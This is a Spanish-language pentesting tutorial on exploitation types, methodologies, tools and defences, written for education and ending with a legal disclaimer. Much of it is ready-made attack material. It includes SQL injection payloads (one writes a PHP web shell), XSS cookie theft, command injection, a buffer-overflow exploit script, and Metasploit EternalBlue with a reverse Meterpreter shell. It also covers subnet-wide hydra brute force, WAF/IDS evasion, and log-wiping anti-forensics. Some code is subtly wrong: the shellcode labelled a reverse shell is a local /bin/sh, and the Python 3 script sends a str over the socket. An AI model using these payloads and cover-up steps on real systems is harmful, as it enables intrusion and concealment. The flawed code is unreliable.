Tipos de Explotación en Pentesting
Tipos de Explotación en Pentesting
Section titled “Tipos de Explotación en Pentesting”Introducción
Section titled “Introducción”La explotación es una fase crítica del pentesting donde se aprovechan las vulnerabilidades identificadas para obtener acceso no autorizado a sistemas, aplicaciones o datos. Comprender los diferentes tipos de explotación es fundamental para desarrollar estrategias efectivas de ataque y defensa.
¿Qué es la Explotación?
Section titled “¿Qué es la Explotación?”La explotación es el proceso de aprovechar una vulnerabilidad de seguridad para lograr un comportamiento no intencionado o no autorizado en un sistema informático. Esto puede incluir:
- Acceso no autorizado a sistemas o datos
- Escalación de privilegios para obtener mayor control
- Ejecución de código malicioso en el sistema objetivo
- Denegación de servicio para interrumpir operaciones
- Exfiltración de datos sensibles o confidenciales
Clasificación Principal: Manual vs Automatizada
Section titled “Clasificación Principal: Manual vs Automatizada”Explotación Manual
Section titled “Explotación Manual”La explotación manual es un enfoque artesanal que requiere intervención humana directa y conocimiento especializado del atacante.
Características Principales
Section titled “Características Principales”- Control granular: El atacante tiene control total sobre cada paso
- Precisión: Permite ajustes específicos según el entorno
- Sigilo: Menor probabilidad de detección por sistemas automatizados
- Flexibilidad: Adaptación en tiempo real a condiciones cambiantes
- Conocimiento profundo: Requiere expertise técnico avanzado
Ventajas
Section titled “Ventajas”✅ Mayor precisión en el ataque✅ Menor generación de ruido en logs✅ Adaptabilidad a entornos únicos✅ Control total del proceso✅ Evasión efectiva de defensas✅ Personalización completaDesventajas
Section titled “Desventajas”❌ Tiempo de ejecución prolongado❌ Requiere alta especialización❌ No escalable a múltiples objetivos❌ Propenso a errores humanos❌ Costo elevado en recursos humanosEjemplos Prácticos
Section titled “Ejemplos Prácticos”# Explotación manual de SQL Injection# 1. Identificación manual de parámetros vulnerablescurl "http://target.com/login.php?id=1'"
# 2. Prueba manual de payloads específicoscurl "http://target.com/login.php?id=1' UNION SELECT 1,2,3--"
# 3. Extracción manual de datoscurl "http://target.com/login.php?id=1' UNION SELECT username,password,email FROM users--"
# Explotación manual de Buffer Overflow# 1. Análisis manual del binariogdb ./vulnerable_appdisas main
# 2. Creación manual del exploitpython3 -c "print('A'*268 + '\xef\xbe\xad\xde')" | ./vulnerable_appExplotación Automatizada
Section titled “Explotación Automatizada”La explotación automatizada utiliza herramientas, scripts y frameworks para ejecutar ataques de forma sistemática y escalable.
Características Principales
Section titled “Características Principales”- Velocidad: Ejecución rápida de múltiples intentos
- Escalabilidad: Ataque simultáneo a múltiples objetivos
- Consistencia: Resultados reproducibles y estandarizados
- Eficiencia: Menor costo en tiempo y recursos humanos
- Cobertura amplia: Prueba de múltiples vectores de ataque
Ventajas
Section titled “Ventajas”✅ Velocidad de ejecución alta✅ Escalabilidad a gran escala✅ Consistencia en resultados✅ Menor costo operativo✅ Cobertura exhaustiva✅ ReproducibilidadDesventajas
Section titled “Desventajas”❌ Mayor generación de logs y alertas❌ Menor precisión en entornos específicos❌ Detección más fácil por sistemas de seguridad❌ Flexibilidad limitada❌ Falsos positivos frecuentesEjemplos Prácticos
Section titled “Ejemplos Prácticos”# Explotación automatizada con Metasploitmsfconsoleuse exploit/windows/smb/ms17_010_eternalblueset RHOSTS 192.168.1.0/24set THREADS 50exploit
# Explotación automatizada con SQLMapsqlmap -u "http://target.com/login.php?id=1" --batch --dbs
# Explotación automatizada con Nmap NSEnmap --script vuln 192.168.1.0/24Clasificación por Vector de Ataque
Section titled “Clasificación por Vector de Ataque”1. Explotación de Aplicaciones Web
Section titled “1. Explotación de Aplicaciones Web”SQL Injection
Section titled “SQL Injection”-- Bypass de autenticaciónadmin'--admin' OR '1'='1'--
-- Extracción de datos' UNION SELECT table_name FROM information_schema.tables--
-- Ejecución de comandos (MySQL)'; SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/shell.php'--Cross-Site Scripting (XSS)
Section titled “Cross-Site Scripting (XSS)”// XSS Reflejado<script>alert('XSS')</script>
// XSS Almacenado<img src=x onerror=alert('Stored XSS')>
// XSS Basado en DOMjavascript:alert(document.cookie)Command Injection
Section titled “Command Injection”# Inyección básica; ls -la| whoami&& cat /etc/passwd
# Bypass de filtros`cat /etc/passwd`$(cat /etc/passwd){cat,/etc/passwd}2. Explotación de Servicios de Red
Section titled “2. Explotación de Servicios de Red”Buffer Overflow
Section titled “Buffer Overflow”#!/usr/bin/env python3# Exploit básico de Buffer Overflow
import socket
# Shellcode para reverse shellshellcode = ( "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50" "\x53\x89\xe1\xb0\x0b\xcd\x80")
# Construcción del payloadbuffer = "A" * 268 # Offset hasta EIPeip = "\xef\xbe\xad\xde" # Dirección de retornonops = "\x90" * 16 # NOP sledpayload = buffer + eip + nops + shellcode
# Envío del exploits = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect(("192.168.1.100", 9999))s.send(payload)s.close()SMB Exploitation
Section titled “SMB Exploitation”# EternalBlue (MS17-010)use exploit/windows/smb/ms17_010_eternalblueset RHOSTS 192.168.1.100set PAYLOAD windows/x64/meterpreter/reverse_tcpset LHOST 192.168.1.50exploit
# SMBGhost (CVE-2020-0796)use exploit/windows/smb/cve_2020_0796_smbghost3. Explotación de Sistemas Operativos
Section titled “3. Explotación de Sistemas Operativos”Privilege Escalation (Linux)
Section titled “Privilege Escalation (Linux)”# SUID Binariesfind / -perm -u=s -type f 2>/dev/null
# Kernel Exploitsuname -asearchsploit linux kernel 4.15
# Sudo Misconfigurationssudo -lsudo vim -c ':!/bin/bash'
# Cron Jobscat /etc/crontabls -la /etc/cron.*Windows Privilege Escalation
Section titled “Windows Privilege Escalation”# Unquoted Service Pathswmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
# AlwaysInstallElevatedreg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedreg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Token Impersonationwhoami /privMetodologías de Explotación
Section titled “Metodologías de Explotación”1. Metodología PTES (Penetration Testing Execution Standard)
Section titled “1. Metodología PTES (Penetration Testing Execution Standard)”# Fase 1: Pre-engagement- Definición de alcance- Reglas de engagement- Objetivos específicos
# Fase 2: Intelligence Gathering- Reconocimiento pasivo- Footprinting- OSINT
# Fase 3: Threat Modeling- Identificación de vectores de ataque- Análisis de superficie de ataque- Priorización de objetivos
# Fase 4: Vulnerability Analysis- Escaneo de vulnerabilidades- Análisis manual- Validación de vulnerabilidades
# Fase 5: Exploitation- Desarrollo de exploits- Ejecución de ataques- Obtención de acceso inicial
# Fase 6: Post Exploitation- Escalación de privilegios- Movimiento lateral- Persistencia
# Fase 7: Reporting- Documentación de hallazgos- Recomendaciones- Plan de remediación2. Metodología OWASP Testing Guide
Section titled “2. Metodología OWASP Testing Guide”# Information Gathering- Fingerprinting del servidor web- Revisión de metafiles- Enumeración de aplicaciones
# Configuration Management Testing- Configuraciones por defecto- Métodos HTTP innecesarios- Archivos de backup
# Authentication Testing- Bypass de autenticación- Fuerza bruta- Gestión de sesiones
# Authorization Testing- Path traversal- Escalación de privilegios- Bypass de autorización
# Session Management Testing- Cookies de sesión- Fijación de sesión- Exposición de tokens
# Input Validation Testing- SQL Injection- XSS- Command Injection- Buffer Overflow
# Error Handling- Análisis de códigos de error- Manejo de excepciones- Stack traces
# Cryptography- Transporte cifrado- Algoritmos débiles- Gestión de certificados
# Business Logic Testing- Lógica de negocio- Flujos de trabajo- Validaciones del lado cliente
# Client Side Testing- DOM XSS- JavaScript execution- HTML injectionHerramientas por Tipo de Explotación
Section titled “Herramientas por Tipo de Explotación”Herramientas de Explotación Manual
Section titled “Herramientas de Explotación Manual”# Análisis y Debugginggdb # GNU Debuggerradare2 # Reverse engineering frameworkobjdump # Object file analyzerstrace # System call tracerltrace # Library call tracer
# Desarrollo de Exploitspwntools # Python exploit development libraryropper # ROP gadget finderchecksec # Binary security checkerpattern_create # Buffer overflow pattern generator
# Web Application TestingBurp Suite # Web application security testingOWASP ZAP # Web application scannercurl # Command line HTTP clientwget # Web content retrieverHerramientas de Explotación Automatizada
Section titled “Herramientas de Explotación Automatizada”# Frameworks de ExplotaciónMetasploit # Comprehensive exploitation frameworkCobalt Strike # Advanced threat emulationEmpire # PowerShell post-exploitation agentCanvas # Commercial exploitation framework
# Scanners de VulnerabilidadesNessus # Vulnerability scannerOpenVAS # Open source vulnerability scannerNexpose # Vulnerability managementQualys # Cloud-based vulnerability scanner
# Web Application ScannersSQLMap # SQL injection exploitation toolNikto # Web server scannerDirb # Web content scannerGobuster # Directory/file brute-forcer
# Network ExploitationNmap # Network discovery and security auditingMasscan # High-speed port scannerZmap # Internet-wide network scannerScripts de Automatización
Section titled “Scripts de Automatización”Multi-Exploit Scanner
Section titled “Multi-Exploit Scanner”#!/bin/bashTARGET=$1OUTPUT_DIR="exploit_results_$(date +%Y%m%d_%H%M%S)"
if [ $# -ne 1 ]; then echo "Uso: $0 <target>" exit 1fi
mkdir -p $OUTPUT_DIR
echo "[+] Iniciando escaneo de explotación múltiple para $TARGET"
# Nmap vulnerability scanecho "[+] Ejecutando Nmap vulnerability scan..."nmap --script vuln -oN $OUTPUT_DIR/nmap_vuln.txt $TARGET
# Web application testingecho "[+] Probando aplicaciones web..."if curl -s -I http://$TARGET | grep -q "200 OK"; then # Nikto scan nikto -h http://$TARGET -o $OUTPUT_DIR/nikto.txt
# Directory brute force gobuster dir -u http://$TARGET -w /usr/share/wordlists/dirb/common.txt -o $OUTPUT_DIR/gobuster.txt
# SQL injection testing sqlmap -u "http://$TARGET" --batch --crawl=2 --output-dir=$OUTPUT_DIR/sqlmap/fi
# SMB testingecho "[+] Probando servicios SMB..."if nmap -p 445 $TARGET | grep -q "open"; then enum4linux $TARGET > $OUTPUT_DIR/enum4linux.txt smbclient -L //$TARGET -N > $OUTPUT_DIR/smbclient.txt 2>&1fi
# SSH brute force (limited)echo "[+] Probando SSH con credenciales comunes..."if nmap -p 22 $TARGET | grep -q "open"; then hydra -L /usr/share/wordlists/metasploit/unix_users.txt -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 4 ssh://$TARGET > $OUTPUT_DIR/ssh_bruteforce.txtfi
echo "[+] Escaneo completado. Resultados en: $OUTPUT_DIR"Exploit Development Helper
Section titled “Exploit Development Helper”#!/usr/bin/env python3import socketimport structimport sysfrom pwn import *
class ExploitHelper: def __init__(self, target_host, target_port): self.host = target_host self.port = target_port self.conn = None
def connect(self): """Establecer conexión con el objetivo""" try: self.conn = remote(self.host, self.port) print(f"[+] Conectado a {self.host}:{self.port}") return True except Exception as e: print(f"[-] Error de conexión: {e}") return False
def send_payload(self, payload): """Enviar payload al objetivo""" if not self.conn: print("[-] No hay conexión establecida") return False
try: self.conn.send(payload) print(f"[+] Payload enviado: {len(payload)} bytes") return True except Exception as e: print(f"[-] Error enviando payload: {e}") return False
def receive_data(self, timeout=5): """Recibir datos del objetivo""" if not self.conn: print("[-] No hay conexión establecida") return None
try: data = self.conn.recv(timeout=timeout) print(f"[+] Datos recibidos: {len(data)} bytes") return data except Exception as e: print(f"[-] Error recibiendo datos: {e}") return None
def buffer_overflow_test(self, buffer_size=1000): """Prueba básica de buffer overflow""" payload = b"A" * buffer_size
print(f"[+] Probando buffer overflow con {buffer_size} bytes")
if self.send_payload(payload): response = self.receive_data() if response: print(f"[+] Respuesta: {response[:100]}...") else: print("[!] Sin respuesta - posible crash")
def fuzzing_test(self, max_size=5000, step=100): """Fuzzing básico para encontrar el punto de crash""" for size in range(100, max_size, step): print(f"[+] Fuzzing con {size} bytes...")
if not self.connect(): continue
payload = b"A" * size self.send_payload(payload)
response = self.receive_data(timeout=2) if not response: print(f"[!] Posible crash en {size} bytes") break
self.conn.close()
def close(self): """Cerrar conexión""" if self.conn: self.conn.close() print("[+] Conexión cerrada")
# Ejemplo de usoif __name__ == "__main__": if len(sys.argv) != 3: print("Uso: python3 exploit_dev_helper.py <host> <port>") sys.exit(1)
host = sys.argv[1] port = int(sys.argv[2])
helper = ExploitHelper(host, port)
# Prueba de conexión if helper.connect(): # Prueba básica de buffer overflow helper.buffer_overflow_test(1000)
# Fuzzing para encontrar crash point # helper.fuzzing_test()
helper.close()Casos de Uso Específicos
Section titled “Casos de Uso Específicos”1. Explotación de Aplicaciones Web Corporativas
Section titled “1. Explotación de Aplicaciones Web Corporativas”# Reconocimiento inicialnmap -sC -sV -p 80,443,8080,8443 target-corp.com
# Enumeración de directoriosgobuster dir -u https://target-corp.com -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
# Análisis de tecnologíaswhatweb https://target-corp.comwappalyzer https://target-corp.com
# Búsqueda de vulnerabilidades específicas# SQL Injectionsqlmap -u "https://target-corp.com/search.php?q=test" --batch --level=3 --risk=3
# XSS Testingecho "https://target-corp.com" | hakrawler | grep "=" | qsreplace '"><script>alert(1)</script>' | while read url; do curl -s "$url" | grep -qs "<script>alert(1)</script>" && echo "XSS: $url"; done2. Explotación de Infraestructura de Red
Section titled “2. Explotación de Infraestructura de Red”# Descubrimiento de rednmap -sn 192.168.1.0/24
# Escaneo de servicios críticosnmap -sC -sV -p 21,22,23,25,53,80,110,135,139,143,443,445,993,995,1433,3306,3389,5432 192.168.1.0/24
# Explotación de SMBfor ip in $(nmap -p 445 --open 192.168.1.0/24 | grep "Nmap scan report" | awk '{print $5}'); do echo "[+] Probando $ip" smbclient -L //$ip -N enum4linux $ipdone
# Explotación de SSHhydra -L users.txt -P passwords.txt -t 4 ssh://192.168.1.0/243. Explotación de Aplicaciones Móviles
Section titled “3. Explotación de Aplicaciones Móviles”# Análisis estático de APKapktool d application.apkgrep -r "password\|secret\|key" application/
# Análisis dinámicofrida -U -f com.example.app -l script.js
# Bypass de SSL Pinningfrida -U -f com.example.app --no-pause -l ssl-kill-switch.jsTécnicas de Evasión
Section titled “Técnicas de Evasión”1. Evasión de WAF (Web Application Firewall)
Section titled “1. Evasión de WAF (Web Application Firewall)”# Ofuscación de payloads SQL' UNION SELECT 1,2,3--' /*!UNION*/ /*!SELECT*/ 1,2,3--' %55%4e%49%4f%4e %53%45%4c%45%43%54 1,2,3--
# Bypass de filtros XSS<script>alert(1)</script><ScRiPt>alert(1)</ScRiPt><img src=x onerror=alert(1)>javascript:alert(1)2. Evasión de IDS/IPS
Section titled “2. Evasión de IDS/IPS”# Fragmentación de paquetesnmap -f target.com
# Timing attacksnmap -T1 target.com # Paranoid timing
# Decoy scanningnmap -D RND:10 target.com
# Source port manipulationnmap --source-port 53 target.com3. Anti-Forensics
Section titled “3. Anti-Forensics”# Limpieza de logsecho "" > /var/log/auth.logecho "" > /var/log/sysloghistory -c
# Timestompingtouch -r /bin/ls malicious_file
# Uso de memoria RAMmount -t tmpfs tmpfs /tmp/ramdiskDetección y Defensa
Section titled “Detección y Defensa”Indicadores de Explotación
Section titled “Indicadores de Explotación”# Logs de sistema sospechososgrep -i "failed\|error\|denied" /var/log/auth.loggrep -i "exploit\|attack\|malicious" /var/log/syslog
# Conexiones de red anómalasnetstat -antup | grep ESTABLISHEDss -tulpn | grep :4444
# Procesos sospechososps aux | grep -E "(nc|netcat|bash|sh)" | grep -v greplsof -i | grep LISTENContramedidas
Section titled “Contramedidas”# Hardening del sistema# Deshabilitar servicios innecesariossystemctl disable telnetsystemctl disable ftp
# Configuración de firewalliptables -A INPUT -p tcp --dport 22 -m limit --limit 3/min -j ACCEPTiptables -A INPUT -p tcp --dport 22 -j DROP
# Monitoreo en tiempo real# OSSEC/Wazuh para detección de intrusiones# Fail2ban para protección contra fuerza bruta# Tripwire para integridad de archivosMejores Prácticas
Section titled “Mejores Prácticas”Para Pentesters
Section titled “Para Pentesters”# Documentación exhaustiva- Registrar todos los pasos realizados- Capturar evidencia de cada exploit exitoso- Documentar falsos positivos y limitaciones
# Gestión de riesgos- Evaluar impacto antes de ejecutar exploits- Tener plan de rollback para cambios- Coordinar con el equipo de operaciones
# Aspectos legales- Mantener autorización escrita actualizada- Respetar el alcance definido- Reportar hallazgos críticos inmediatamentePara Defensores
Section titled “Para Defensores”# Monitoreo proactivo- Implementar SIEM para correlación de eventos- Configurar alertas para patrones de ataque- Realizar threat hunting regular
# Gestión de vulnerabilidades- Escaneos regulares de vulnerabilidades- Priorización basada en riesgo- Patching oportuno de sistemas críticos
# Respuesta a incidentes- Plan de respuesta documentado y probado- Equipo de respuesta entrenado- Herramientas de forense preparadasRecursos Adicionales
Section titled “Recursos Adicionales”Frameworks y Herramientas
Section titled “Frameworks y Herramientas”- Metasploit Framework: https://www.metasploit.com/
- Cobalt Strike: https://www.cobaltstrike.com/
- Empire: https://github.com/EmpireProject/Empire
- Burp Suite: https://portswigger.net/burp
Bases de Datos de Vulnerabilidades
Section titled “Bases de Datos de Vulnerabilidades”- CVE Database: https://cve.mitre.org/
- Exploit Database: https://www.exploit-db.com/
- NVD: https://nvd.nist.gov/
- VulnDB: https://vulndb.cyberriskanalytics.com/
Metodologías y Estándares
Section titled “Metodologías y Estándares”- PTES: http://www.pentest-standard.org/
- OWASP Testing Guide: https://owasp.org/www-project-web-security-testing-guide/
- NIST SP 800-115: https://csrc.nist.gov/publications/detail/sp/800-115/final
Entrenamiento y Certificaciones
Section titled “Entrenamiento y Certificaciones”- OSCP: Offensive Security Certified Professional
- CEH: Certified Ethical Hacker
- GPEN: GIAC Penetration Tester
- CRTP: Certified Red Team Professional
Disclaimer Legal
Section titled “Disclaimer Legal”⚠️ IMPORTANTE: Esta documentación es únicamente para fines educativos y de investigación en ciberseguridad. La explotación de vulnerabilidades debe realizarse exclusivamente en:
- Sistemas propios
- Entornos de laboratorio controlados
- Pruebas de penetración autorizadas por escrito
- Programas de bug bounty legítimos
Marco Legal:
- El uso no autorizado constituye un delito en la mayoría de jurisdicciones
- Siempre obtener autorización escrita antes de realizar pruebas
- Respetar el alcance y las limitaciones acordadas
- Reportar vulnerabilidades de manera responsable
Los autores no se hacen responsables del mal uso de esta información. El pentesting ético requiere autorización explícita y debe realizarse dentro de un marco legal apropiado.